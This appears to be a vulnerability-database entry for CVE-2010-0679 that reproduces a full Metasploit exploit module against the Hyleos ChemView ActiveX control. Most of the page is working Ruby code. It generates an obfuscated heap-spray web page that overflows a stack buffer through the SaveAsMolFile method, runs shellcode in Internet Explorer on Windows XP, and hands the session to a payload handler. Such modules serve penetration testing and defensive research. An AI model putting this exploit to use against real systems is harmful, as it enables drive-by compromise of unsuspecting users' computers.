Hyleos ChemView ActiveX Control Stack Buffer Overflow

🗓️ 27 Jul 2010 02:25:15Reported by Paul Craig <[email protected]>, Dz_attacker <[email protected]>, jduck <[email protected]>Type

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This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods with an overly long first argument, an attacker can overrun a buffer and execute arbitrary code.

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2010-0679	27 Jul 201000:00	–	circl
CVE	CVE-2010-0679	22 Feb 201021:00	–	cve
Cvelist	CVE-2010-0679	22 Feb 201021:00	–	cvelist
Exploit DB	Hyleos ChemView - ActiveX Control Stack Buffer Overflow (Metasploit)	27 Jul 201000:00	–	exploitdb
NVD	CVE-2010-0679	22 Feb 201021:30	–	nvd
OpenVAS	Hyleos ChemView ActiveX Control Multiple Buffer Overflow Vulnerabilities	2 Mar 201000:00	–	openvas
OpenVAS	Hyleos ChemView ActiveX Control Multiple Buffer Overflow Vulnerabilities	2 Mar 201000:00	–	openvas
Packet Storm	Hyleos ChemView ActiveX Control Stack Buffer Overflow	27 Jul 201000:00	–	packetstorm
Prion	Stack overflow	22 Feb 201021:30	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # heap spray :-/

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos
        ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods
        with an overly long first argument, an attacker can overrun a buffer and execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory
          'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module
          'jduck'   # converted HttpServer module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-0679' ],
          [ 'OSVDB', '62276' ],
          [ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
          [ 'EDB', '11422' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
        ],
      'DisclosureDate' => '2010-02-10',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"
    progid = "HyleosChemView.HLChemView"

    methods = [ "ReadMolFile", "SaveAsMolFile" ]
    method = methods[rand(methods.length)]
    method = "SaveAsMolFile"

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # It may be possible to create a more robust exploit, however --
    # 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)
    # 2. The buffer overflow does not appear to be entirely straight forward.

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 300
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    chemview     = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)

    content = %Q|<html>
<object classid='clsid:#{clsid}' id='#{chemview}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{chemview}.#{method}(#{j_ret});
</script>
</html>|


    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

10High risk

Vulners AI Score10

CVSS 29.3

EPSS0.35128